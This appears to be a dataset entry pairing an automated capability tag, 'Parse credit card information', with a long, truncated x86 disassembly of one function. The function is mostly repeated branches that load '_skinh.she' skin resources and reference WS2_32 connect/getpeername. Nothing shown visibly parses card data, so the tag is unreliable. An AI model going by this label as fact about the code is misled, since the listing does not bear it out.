Function at 0x45cbe1
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x45cc0f
push eax
mov ebx, eax
call fcn.004011c2
inc eax
push eax
call fcn.006b8484
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0xa42f3c]
test ebx, ebx
je 0x45cc23
push ebx
call fcn.006b847e
add esp, 4
pop eax
mov dword [0xa42f3c], eax
push reloc.WS2_32.dll_connect
push 0
push str.C:Windows_system32JiaH.dll
push 1
mov ebx, 0x6bbb00
call fcn.006b8490
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x45cd53
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push 0x7febc4
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45cc91
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45cca4
mov eax, 0x7f4ecd
push eax
push 1
mov ebx, 0x6bbb00
call fcn.006b8490
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ccca
push ebx
call fcn.006b847e
add esp, 4
cmp dword [ebp - 0x10], 0
jne 0x45cd53
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push 0x7febc4
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45cd11
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7febce
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45cd30
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45cd53
push ebx
call fcn.006b847e
add esp, 4
push str.SkinID
push dword [0xa42f3c]
push 0x8145de
mov ecx, 3
call fcn.0040122d
add esp, 0xc
mov dword [ebp - 8], eax
push 0x80000301
push 0
push 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x45cd92
mov eax, 0x7f4ecd
push eax
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x6bc4b0
call fcn.006b8490
add esp, 0x28
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45cdc4
push ebx
call fcn.006b847e
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x45f7d6
cmp dword [ebp - 4], 1
jne 0x45ce62
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45ce1b
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x814604
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45ce3a
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ce5d
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 2
jne 0x45cef0
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45cea9
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x8182e2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45cec8
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ceeb
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 3
jne 0x45cf7e
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45cf37
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x81a827
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45cf56
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45cf79
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 4
jne 0x45d00c
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45cfc5
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x81edc5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45cfe4
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d007
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 5
jne 0x45d09a
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d053
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x8239f6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d072
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d095
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 6
jne 0x45d128
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d0e1
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x8283f0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d100
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d123
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 7
jne 0x45d1b6
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d16f
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x82b50c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d18e
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d1b1
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 8
jne 0x45d244
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d1fd
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x83559e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d21c
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d23f
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 9
jne 0x45d2d2
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d28b
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x83b4ff
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d2aa
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d2cd
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0xa
jne 0x45d360
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d319
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x842d19
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d338
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d35b
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0xb
jne 0x45d3ee
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d3a7
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x84c6f3
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d3c6
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d3e9
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0xc
jne 0x45d47c
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d435
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x84e77c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d454
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d477
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0xd
jne 0x45d50a
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d4c3
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x851b0c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d4e2
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d505
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0xe
jne 0x45d598
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d551
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x858216
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d570
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d593
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0xf
jne 0x45d626
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d5df
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x85de51
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d5fe
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d621
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x10
jne 0x45d6b4
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d66d
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x862fd8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d68c
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d6af
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x11
jne 0x45d742
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d6fb
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x865d7c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d71a
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d73d
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x12
jne 0x45d7d0
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d789
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x86a3d1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d7a8
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d7cb
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x13
jne 0x45d85e
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d817
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x87362e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d836
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d859
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x14
jne 0x45d8ec
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d8a5
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x879aa9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d8c4
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d8e7
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x15
jne 0x45d97a
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d933
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x87c9fa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d952
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45d975
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x16
jne 0x45da08
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45d9c1
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x883d09
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45d9e0
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45da03
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x17
jne 0x45da96
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45da4f
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x888d59
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45da6e
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45da91
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x18
jne 0x45db24
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45dadd
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x88ca2b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45dafc
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45db1f
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x19
jne 0x45dbb2
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45db6b
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x891b35
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45db8a
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45dbad
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x1a
jne 0x45dc40
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45dbf9
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x89648a
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45dc18
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45dc3b
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x1b
jne 0x45dcce
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45dc87
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x89a207
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45dca6
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45dcc9
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x1c
jne 0x45dd5c
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45dd15
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x8a4e5d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45dd34
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45dd57
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x1d
jne 0x45ddea
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45dda3
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x8a9d98
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45ddc2
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45dde5
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x1e
jne 0x45de78
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45de31
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x81a827
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45de50
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45de73
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x1f
jne 0x45df06
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45debf
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45dede
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45df01
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x20
jne 0x45df94
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45df4d
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45df6c
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45df8f
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x21
jne 0x45e022
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
